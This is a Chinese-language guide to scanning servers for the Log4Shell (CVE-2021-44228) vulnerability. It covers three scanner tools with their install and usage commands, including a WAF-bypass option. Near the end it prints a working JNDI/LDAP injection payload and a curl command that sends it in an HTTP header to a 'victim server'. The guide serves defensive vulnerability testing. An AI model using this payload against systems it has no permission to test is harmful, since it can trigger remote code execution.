如何扫描您的服务器以查找 Log4j (Log4Shell) 漏洞

Log4j 是一个广泛使用的软件库，用于记录安全性和性能信息。安全专家在流行的库中发现了一个零日漏洞，影响了许多企业 IT 系统。几家供应商已经发布了不同的工具，但很快就发现了第二个漏洞。之后，Apache 软件基金会推出了一个新的修复程序。如果您的系统有任何 Java 应用程序使用 2.14.1 之前的 Log4j 版本，您应该迅速采取行动。您可以使用以下工具快速扫描您的系统以检查 Log4j 漏洞。

Apache Log4j CVE-2021-44228 扫描程序

扫描您的系统以检查 Apache Log4j 漏洞非常容易。您所要做的就是执行开源工具：由 Seccops Cyber​​ Security Technologies Inc. 的安全研究员 Adil Soybali 开发的 Apache Log4j CVE-2021-44228。

特征

• 根据您提供的 URL 列表进行扫描。
• 通过查找提供的域名的子域进行扫描。
• 添加源域作为前缀以确定传入的 DNS 查询来自哪个源。

要求

安装

git clone https://github.com/adilsoybali/Log4j-RCE-Scanner.git
cd Log4j-RCE-Scanner
chmod +x log4j-rce-scanner.sh

用法

./log4j-rce-scanner.sh -h

这将显示该工具的帮助。这是它支持的所有开关。

-h, --help - Display help
-l, --url-list - List of domain/subdomain/ip to be used for scanning.
-d, --domain - The domain name to which all subdomains and itself will be checked.
-b, --burpcollabid - Burp collabrator client id address or interactsh domain address.

Example uses:
./log4j-rce-scanner.sh -l httpxsubdomains.txt -b yrt45r4sjyoj19617jem5briio3cs.burpcollaborator.net
./log4j-rce-scanner.sh -d adilsoybali.com -b yrt45r4sjyoj19617jem5briio3cs.burpcollaborator.net

• Burp 协作者文档页面
• 在 docker 环境中设置自定义 Burp Collaborator 实例的简单方法
• 互动

官方 GitHub 存储库

• https://github.com/adilsoybali/Log4j-RCE-Scanner

CISA Log4j 扫描仪

https://github.com/cisagov/log4j-scanner

此存储库为 log4j 远程代码执行漏洞（CVE-2021-44228 和 CVE-2021-45046）提供扫描解决方案。此存储库中的信息和代码“按原样”提供，并在开源社区的帮助下组装，并由 CISA 通过与更广泛的网络安全社区合作进行更新。这并不是一个 100% 真正肯定的解决方案；可能会出现假阴性。

用法

扫描单个 URL

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local

使用所有请求方法扫描单个 URL：GET、POST（url 编码形式）、POST（JSON 正文）

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-tests

发现环境中的 WAF 绕过。

$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypass

扫描 URL 列表

$ python3 log4j-scan.py -l urls.txt

Huntress Labs log4shell 测试仪

https://log4shell.huntress.com

此测试器提供具有唯一标识符的有效负载，并接受来自易受攻击的应用程序的 LDAP 连接，并显示 IP 地址接收连接。底部提到的示例代码（有效负载）也可用于测试这一点。

用法

您只需将生成的 JNDI 语法（有效负载）（下面显示的代码块） 复制并粘贴到任何内容中（应用程序输入框、前端站点表单字段、诸如用户名输入之类的登录名，或者如果您更懂技术，甚至是 User-Agent或 X-Forwarded-For 或其他可自定义的HTTP标头）。  ${jndi[:]ldap[:]//....

示例代码（有效负载）：

${jndi:ldap://log4shell.huntress.com:1389/(your_random_huntress_url}

如何将 Log4j 有效负载发送到受害者服务器？

1. 您可以使用 Web 浏览器上的用户代理切换器扩展将有效负载发送到受害者服务器。
2. 您还可以通过Linux终端向受害者服务器发送 curl 请求。

curl http://vulnerable-app:8080 \ -H 'X-Api-Version: ${jndi:ldap://log4shell.huntress.com:1389/(your_random_huntress_url}'

趋势科技 Log4j 漏洞测试器